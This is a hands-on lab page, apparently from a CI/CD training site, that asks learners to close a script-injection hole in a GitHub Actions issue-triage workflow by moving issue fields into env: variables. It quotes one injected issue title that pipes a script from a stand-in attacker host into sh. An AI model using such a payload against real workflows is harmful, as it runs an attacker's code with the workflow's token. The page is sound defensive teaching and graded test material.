Sign inSign up free

806. Close a Script Injection Hole in a Workflow

medium 20 XP ~8 minHands-on lab

/home/student/repos/webapp/.github/workflows/triage.yml labels new issues. A security researcher showed that opening an issue titled "; curl -s https://evil.example/x | sh; echo " runs their script on the runner, with the workflow's token.

Task

Rewrite the run: steps so that no value from the issue (github.event.issue.title, github.event.issue.body, github.event.issue.user.login) appears inside a run: script as a ${{ … }} expression. Instead, pass each one to its step through env: (as TITLE, BODY and AUTHOR) and use the quoted shell variables in the script. The commands must otherwise do the same as now.

About this machine

Ubuntu 24.04 with no internet access. You are student with passwordless sudo. The grader checks the final state of the machine, not the commands you typed. Values like names and ports are generated for you.

Part of CI/CD Pipelines in Practice. Next step: Mask Secrets in the Job Log

Teaching or writing about this? Embed this lab on your page

TerminalNot started

Your machine is ready to start

A fresh, isolated Ubuntu machine boots in a few seconds with the task already set up.

No account needed: 3 of 3 free tries left. Guest machines last 30 minutes.